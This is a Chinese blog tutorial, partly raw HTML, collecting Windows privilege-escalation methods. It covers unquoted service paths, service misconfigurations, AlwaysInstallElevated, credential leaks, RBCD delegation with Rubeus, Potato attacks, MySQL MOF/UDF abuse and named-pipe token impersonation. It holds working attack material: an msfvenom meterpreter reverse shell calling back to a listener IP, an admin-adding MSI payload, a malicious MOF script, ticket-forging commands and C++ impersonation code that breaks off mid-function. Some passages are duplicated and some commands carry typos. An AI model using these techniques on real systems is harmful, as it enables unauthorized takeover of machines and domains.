Windows提权方法大全汇总(值的收藏)

Windows提权方法大全汇总(值的收藏)_第1张图片

一、无引号服务路径 ( Trusted Service Paths )

先说实用度,比较被动,而且比较看脸。

Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。
无引号服务路径有可能会导致这种情况的发生。
所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样

C:\Program Files\floder1\service.exe

因为空格的存在,Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

这就给了我们有机可乘的机会:如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。
在这里插入图片描述
我们用以下命令来搜索哪些服务路径没有包含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Windows提权方法大全汇总(值的收藏)_第2张图片
然后使用icacls命令查看在2345Explorer目录的权限如何
Windows提权方法大全汇总(值的收藏)_第3张图片
users组是完全控制权(F),那么我们直接用msfvenom构造一个反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我这里随便编码了一下

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe

Windows提权方法大全汇总(值的收藏)_第4张图片
然后我们现在是没有能力重启服务的。。只能等管理员重启服务或者机子重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,这个坑点是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止。
Windows提权方法大全汇总(值的收藏)_第5张图片
所以我们要在拿到shell后及时的转移进程或者添加管理员账户。
转移进程在msf中很简单,meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。

下面来说说防治方法吧。进入注册表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务,修改其ImagePath,把路径前后加个引号就可了。

二、易受攻击的服务(Vulnerable Services )

同样看脸且被动

这个攻击方法大致分两类

1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。

2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。

对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。
这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。

我们通过该工具执行以下命令

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组(根据实际情况来填哪个组)对哪些服务有哪些权限

如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。
Windows提权方法大全汇总(值的收藏)_第6张图片
比如我们对Spooler服务有service_all_access权限,我们就可以这样做。

通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

Windows提权方法大全汇总(值的收藏)_第7张图片

三、AlwaysInstallElevated

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的

同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机

我们可以通过reg query来验证这两条注册表项的情况

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为1,我们就可以通过msfvenom生成恶意msi来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

然后执行,获得一个管理员账户。

四、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。。


    
        
            
                UEBzc3dvcmQxMjMhUGFzc3dvcmQ= //PASSWORD
                false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查询指令
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s</code></pre> 
 <h2>五、基于资源的域委派攻击</h2> 
 <p>refer:<a href="https://link.segmentfault.com/?url=https%3A%2F%2Fxz.aliyun.com%2Ft%2F7454" rel="nofollow">https://xz.aliyun.com/t/7454</a></p> 
 <p>原理的几个点:</p> 
 <p>1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。</p> 
 <p>2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。</p> 
 <p>3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),<br>每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN</p> 
 <p><strong>攻击流程:</strong></p> 
 <p>假设开启基于资源的约束性委派机器为A</p> 
 <p>1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。</p> 
 <p>2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派</p> 
 <p>3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。</p> 
 <p>4.用ST2访问A的CIFS服务,权限获得。</p> 
 <p><strong>实操</strong></p> 
 <p>这个攻击说白了就是个提权…</p> 
 <p>首先我们检查一下域控是否是win2012以上的主机,因为只有这样才能开启 基于资源的约束性委派。</p> 
 <p>我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller</p> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/592d6750a93540c8a75621090f8e889d.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第8张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/592d6750a93540c8a75621090f8e889d.jpg" width="624" height="261" style="border:1px solid black;"></a></span><br>可以获得域控WIN版本</p> 
 <p>然后我们查看当前用户对哪台主机有写权限。因为是实验,所以我们先来看看怎么配置一个用户对一个机器的权限。</p> 
 <p>直接在域控上找到某主机,然后进入在属性里进入安全选项卡,添加某用户,然后给这个用户分配权限即可。</p> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/dee9ceb9a6ab4d7ea02718bd9ed2ef8c.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第9张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/dee9ceb9a6ab4d7ea02718bd9ed2ef8c.jpg" width="395" height="444" style="border:1px solid black;"></a></span><br>我们依旧使用powerview。先调用</p> 
 <pre><code>Get-DomainUser -Identity username -Properties objectsid</code></pre> 
 <p>来获取当前用户SID</p> 
 <p>然后</p> 
 <pre><code>Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"}</code></pre> 
 <p>查看当前用户对某台主机是否有写权限。<br><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/bf4beb8ebefc465c87f080503b653b68.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第10张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/bf4beb8ebefc465c87f080503b653b68.jpg" width="650" height="300" style="border:1px solid black;"></a></span><br>如果有 GenericAll(完全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就说明该用户能修改计算机的账户属性。<br>如图看到我们对WIN7进行操作</p> 
 <p>好的,我们接下来就要创立一个机器用户了。根据网上搜索结果,使用powermad这个ps脚本可以很快捷的创建一个机器用户。<a href="https://link.segmentfault.com/?url=https%3A%2F%2Fgithub.com%2FKevin-Robertson%2FPowermad" rel="nofollow">https://github.com/Kevin-Robe...</a></p> 
 <pre><code>Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)</code></pre> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/baf3aa73ce6e445da7b7e9363113b04d.jpg" target="_blank"><img class="lazy" alt="在这里插入图片描述" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/baf3aa73ce6e445da7b7e9363113b04d.jpg" width="517" height="53"></a></span><br>好的,我们添加了一个密码hack,名为hacksystem的机器账户,接下来就是配置hacksystem到WIN7的委派了。我们需要做的,是修改WIN7的</p> 
 <pre><code>msDS-AllowedToActOnBehalfOfOtherIdentity</code></pre> 
 <p>属性的值 ,这个操作我们用powerview实现。</p> 
 <pre><code>$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose</code></pre> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/1796c4c086fb4fbab6336e1f86f9fcea.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第11张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/1796c4c086fb4fbab6336e1f86f9fcea.jpg" width="650" height="161" style="border:1px solid black;"></a></span><br>至于机器账户SID怎么获得,powerview下的</p> 
 <pre><code>get-domiancomputer hacksystem</code></pre> 
 <p>然后使用</p> 
 <pre><code>Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity</code></pre> 
 <p>查看委派是否设置成功</p> 
 <pre><code>Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose</code></pre> 
 <p>此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值</p> 
 <p>现在都统统设置好了,开始下一步吧。</p> 
 <p>网上一般用的rubeus,这里我用kekeo吧</p> 
 <pre><code>Rubeus.exe hash /user:xxx /password:xxx /domain:xxx</code></pre> 
 <p>本地运算出机器用户ntlm hash 这里借用一下别人的图<br><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/c7881326c91d452881579ea310c3f973.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第12张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/c7881326c91d452881579ea310c3f973.jpg" width="650" height="226" style="border:1px solid black;"></a></span></p> 
 <pre><code>Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt</code></pre> 
 <p>写入票据</p> 
 <p>然后我在本机使用以上方法后klist一下,发现确实存在票据<br><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/63b02fbdaa76454dab426278aa38fa34.png" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第13张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/63b02fbdaa76454dab426278aa38fa34.png" width="633" height="308" style="border:1px solid black;"></a></span><br>但是dir \test1\c$时本机莫名其妙不能进行kerberos验证,我服了。。但不管怎样,我们拿到银票了</p> 
 <p>敏感用户不可委派的绕过</p> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/86f30fc5c3164d41a9a809767e3f41c6.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第14张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/86f30fc5c3164d41a9a809767e3f41c6.jpg" width="650" height="661" style="border:1px solid black;"></a></span><br>若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组,按理说他的访问就不能进行委派。</p> 
 <p>我们在以administrator账户身份进行S4U时,只能进行S4U2SELF,<br>不能进行S4U2PROXY。我们用</p> 
 <pre><code>Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt</code></pre> 
 <p>继续实验administrator,发现确实是这样<br><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/6a80e57cdd4f4bb48fa8ff63e4a0bb49.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第15张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/6a80e57cdd4f4bb48fa8ff63e4a0bb49.jpg" width="650" height="468" style="border:1px solid black;"></a></span><br>此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据<br><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/2dd6cb34e7a94983881f15b5109bf356.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第16张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/2dd6cb34e7a94983881f15b5109bf356.jpg" width="650" height="327" style="border:1px solid black;"></a></span><br>可以发现servicename并没有指定某个服务,仅仅只有一个账户.即发生了服务名称缺失的问题。很简单,把票据修改一下就行了.网上很多说用这个工具</p> 
 <p><strong><a href="https://link.segmentfault.com/?url=https%3A%2F%2Fshimo.im%2Fdocs%2FTdpXTY6H9J8jygd8%2Fread" rel="nofollow">https://shimo.im/docs/TdpXTY6...</a></strong></p> 
 <p>但实际上rubeus也能完成票据修改</p> 
 <pre><code>rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt</code></pre> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/cd263252a8a941609695f696a56fd078.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第17张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/cd263252a8a941609695f696a56fd078.jpg" width="650" height="431" style="border:1px solid black;"></a></span><br><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/394024a24e054efca6fc17b522629023.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第18张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/394024a24e054efca6fc17b522629023.jpg" width="577" height="212" style="border:1px solid black;"></a></span><br>完事</p> 
 <h2>六、POTATO 家族</h2> 
 <p><strong>hot potato</strong></p> 
 <p>热土豆提权。很早前就听说过了,但一直没去了解过。前置知识是ntlm relay,可以去了解了解。potato家族有很多,hot potato只是其中一种提权方式。</p> 
 <p>我环境有问题,不能很好的复现,抓包分析啥的先咕咕吧。</p> 
 <p><strong><a href="https://link.segmentfault.com/?url=https%3A%2F%2Fshimo.im%2Fdocs%2FTdpXTY6H9J8jygd8%2Fread" rel="nofollow">https://shimo.im/docs/TdpXTY6...</a></strong><strong>HOT POTATO</strong>技术文档,国内基本上翻译这个来的。</p> 
 <p><strong>提权步骤大概是这个流程</strong></p> 
 <p>1.本地nbns服务欺骗</p> 
 <p>2.wpad劫持</p> 
 <p>3.HTTP->SMB 的 ntlm relay</p> 
 <p>4.本地nbns服务欺骗</p> 
 <p><strong>Windows域名解析规则是</strong></p> 
 <p>本地HOST文件-》dns查询-》NBNS或者LLMNR查询</p> 
 <p>一旦本地发出NBNS查询,我们本地就可以迅速响应,啪的一下就响应了,很快啊,本地发包很快,只要发出NBNS包基本上都能被我们本地发包响应。</p> 
 <p>但是以上步骤还是有一些细节的:我们当前并非管理员权限,大几率是无法嗅探本地流量的,如果我们能够事先知道目标主机期望NBNS查询获得的主机名,我们可以伪造一个响应,对发送NBNS查询的那个主机快速的大量发送NBNS响应 .但是nbns流量包还有个叫特征码的东西,请求包和响应包的特征码必须相同,所以我们被迫发送65536个包爆破这个特征码——本地发包速度很快,本地NBNS欺骗成功率基本上在100%。</p> 
 <p><strong>2.WPAD劫持</strong></p> 
 <p>NBNS欺骗后我们就可以劫持WPAD的域名,把自己伪造称WPAD并返回自定义的PAC文件。意味着我们可以把本地发出的所有流量重定向。</p> 
 <p><strong>3.RELAY</strong></p> 
 <p>NBNS欺骗后我们就可以劫持WPAD的域名,把自己伪造称WPAD并返回自定义的PAC文件。意味着我们可以把本地发出的所有流量重定向。</p> 
 <p>3.RELAY</p> 
 <p>在现在这个年代,SMB->SMB的relay很少用到了,微软 禁用了同协议的NTLM认证 ,成功率很低。<br>但是HTTP->SMB的relay还是有的。HOT POTATO就是利用的这一点。<br>我们可以把主机发出的HTTP请求重定向到我们自定义的网页A,而网页A需要NTLM认证,我们就可以进行HTTP->SMB的relay’了。当HTTP请求来自于高权限的账户时,例如是来自windows 更新服务的请求,命令就会以”NT AUTHORITY\SYSTEM”权限运行。</p> 
 <p>HOT POTATO 根据Windows版本的不同,需要等待高权限用户NTLM认证来到的时间也不同。一般来说,<br>WIN7是瞬间就可以提权的<br>Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制,会每天下载证书信任列表(CTLs)<br>,etc</p> 
 <h2>七、MYSQL下的提权技术</h2> 
 <p>MOF提权</p> 
 <p>在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次(由”And TargetInstance.Second = 5″;控制,这里输入5就是每分钟的第五秒执行。那么把cmd命令添加到nullevt.mof中,cmd命令就会自动执行了。</p> 
 <p>前提是我们要能进入数据库进行操作,且mysql数据库的权限尽可能高才更有利。同时secure-file-priv 要为空( mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,禁止所有文件导入导出功能)</p> 
 <p>我们伪造的MOF文件格式如下</p> 
 <pre><code>#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; //修改此处即可
};

instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};</code></pre> 
 <p>修改上面的cmd部分即可实现以管理员身份执行各种命令。</p> 
 <p>然后我们使用mysql下的命令 ,将mof覆盖过去。</p> 
 <p>待我们的命令被执行后,即代表提权成功。</p> 
 <p>Windows 2003似乎成功率蛮高的,WIN7试了试没反应。。。</p> 
 <p>UDF提权</p> 
 <p>(这个也可以linux提权</p> 
 <p>udf,即自定义函数(user define function)</p> 
 <p>MYSQL可以自定义函数的。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的(linux则是以os的形式)。我们可以自定义一个恶意dll,里面存放着可以执行系统命令的 函数。然后交给mysql以数据库权限执行。</p> 
 <p>前提:我们能操作数据库,且数据库权限必须很高(我们用这个方法提权到的权限就是数据库的权限</p> 
 <p>那么这个dll文件哪里来呢。sqlmap和msf都有。sqlmap下的 sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。我们使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。</p> 
 <pre><code>python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ 即可获得dll文件</code></pre> 
 <p>然后我们把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹可以通过命令</p> 
 <pre><code>show variables like "%plugin%";获得 (/lib/plugin文件夹需要自己创建)</code></pre> 
 <p>至于怎么把dll放入插件文件夹</p> 
 <p>1.直接粘贴复制 (权限可能不够</p> 
 <p>2.使用命令 select load_file(‘udf.dll’) into dumpfile “PLUGIN的路径”;(需要secure_file_priv为空</p> 
 <p>总之,如果把udf.dll放入plugin文件夹后,我们就可以执行以下操作提权了。</p> 
 <pre><code>create funtion sys_eval returns string soname "udf.dll";
select sys_eval('cmd');</code></pre> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/669c56316a8c470792b3708b96e6ded6.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第19张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/669c56316a8c470792b3708b96e6ded6.jpg" width="650" height="117" style="border:1px solid black;"></a></span><br><strong>启动项提权</strong></p> 
 <p>说白了,就是通过mysql的高权限,向windows开机启动项文件夹里放入恶意vbs或者bat脚本,机器重启后自动执行。怎么让机器重启?等管理员或者 一些可导致服务器蓝屏的EXP</p> 
 <p>C:\Documents and Settings\All Users\「开始」菜单\程序\启动</p> 
 <p>C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</p> 
 <pre><code>select load_file("xxx") into dumpfile "xxxx";</code></pre> 
 <p><span class="img-wrap"><a href="http://img.e-com-net.com/image/info9/34d10672cb66434fae8819a415545970.jpg" target="_blank"><img class="lazy" alt="Windows提权方法大全汇总(值的收藏)_第20张图片" title="在这里插入图片描述" src="http://img.e-com-net.com/image/info9/34d10672cb66434fae8819a415545970.jpg" width="650" height="196" style="border:1px solid black;"></a></span><br>没什么好说的</p> 
 <h2>八、命名管道提权</h2> 
 <p>提权方式为 令牌模仿。Token Impersonation .</p> 
 <p>meterpreter的getsystem的提取方法之一就是这个方法</p> 
 <p>提权过程为从administrator用户提到SYSTEM权限。从普通用户提权到admin及以上权限是不可取的,因为普通用户创建的命名管道没有 SeImpersonatePrivilege,在复制令牌时会出现1346错误。</p> 
 <p>该方法技术细节为:以管理员权限创建一个命名管道,再通过创建SYSTEM权限服务,让服务连上命名管道,随后我们通过模拟客户端,获得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创建新进程(如CMD),新进程的权限即SYSTEM权限。</p> 
 <p>这里贴上实现代码.<br>首先是被创建的服务的实现代码,该服务启动后会不断向服务器命名管道建立链接<br>生成好后,是Service.exe</p> 
 <pre><code>#include<Windows.h>
#include<iostream>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {
  WCHAR Servicename[] = L"ServiceA";
  SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
  StartServiceCtrlDispatcher(Table);
}

void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {


  m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  m_ServiceStatus.dwWin32ExitCode = 0;
  m_ServiceStatus.dwServiceSpecificExitCode = 0;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;

  m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
  m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;
  SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
  bRunning = true;
  while (bRunning) {
  LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";
  HANDLE PipeHandle=NULL;
  BOOL PipeInstance;
  WCHAR message[512] = { 0 };
  DWORD bytesWritten = 0;
  BOOL Flag = true;
  wchar_t message2[] = L"HELL";
  DWORD messageLength = lstrlen(message2) * 2;
  do {
    PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  } while (PipeHandle == INVALID_HANDLE_VALUE);

  WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);

  Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
  std::cout << "Message:" << message << std::endl;
  }
}

void WINAPI HandlerFunc(DWORD code) {
  switch (code) {
  case SERVICE_CONTROL_PAUSE:
    m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
    break;
  case SERVICE_CONTROL_CONTINUE:
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    break;
  case SERVICE_CONTROL_STOP:
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;

    SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
    bRunning = false;
    break;
  case SERVICE_CONTROL_INTERROGATE:
    break;
  }</code></pre> 
 <p>然后是主体,命名管道服务器。生成后是Server.exe</p> 
 <pre><code>#include<Windows.h>
#include<iostream>

int main() {
  LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";
  LPVOID pipeBuffer = NULL;
  HANDLE serverPipe;
  DWORD readBytes = 0;
  DWORD readBuffer = 0;
  int err = 0;
  BOOL isPipeConnected;
  BOOL isPipeOpen;
  wchar_t message[] = L"HELL";
  DWORD messageLenght = lstrlen(message) * 2;
  DWORD bytesWritten = 0;
  WCHAR message2[512] = { 0 };
//Open a Named Pipe,Wait for a connection
  std::wcout << "Creating named pipe " << pipeName << std::endl;
  serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

//Create a service of system to connect to our NamedPipe.

  char servicename[] = "Service.exe";
  char servicepath[_MAX_PATH];
  SERVICE_STATUS status;
  GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
  SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
  if (GetLastError() == 0) {

  }
  else {
    std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
  }
  SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    servicepath, NULL, NULL, NULL, NULL, NULL);
  if (!scService) {
    if (GetLastError() == 1073) {
      std::cout << "The Service has been exsisted" << std::endl;
    }
    else {
      std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
    }
  }
  SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
  if (StartService(scServiceA, 0, NULL)) {
    std::cout<<"service Start success"<<std::endl;
  }
  else {
    if (GetLastError() == 1056) {
      std::cout << "service is running,don't need to start again" << std::endl;
    }
  }
//Connect !
  isPipeConnected = ConnectNamedPipe(serverPipe, NULL);

  if (isPipeConnected) {
    std::wcout << "Incoming connection to " << pipeName << std::endl;
    ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
    std::cout << message2;
  }
  else {
    std::cout << "Does not connected Error: "<<GetLastError() << std::endl;
  }

  std::wcout << "Sending message: " << message << std::endl;
  WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
  std::wcout << "Impersonating the client..." << std::endl;
  if (!ImpersonateNamedPipeClient(serverPipe)) {
    std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;
  }
  else {
  std::cout << "ImpersonateNamedPipeClient success" << std::endl;
  }

  STARTUPINFOA si;
  PROCESS_INFORMATION pi = {};
  ZeroMemory(&pi, sizeof(pi));
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  HANDLE token;
  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
    std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
  }

  CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  HANDLE Token;
  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
    std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
  }
  else {
    std::cout << "Impersonate completed" << std::endl;
  }
  if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
    std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
    if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
      std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
    }
    else {
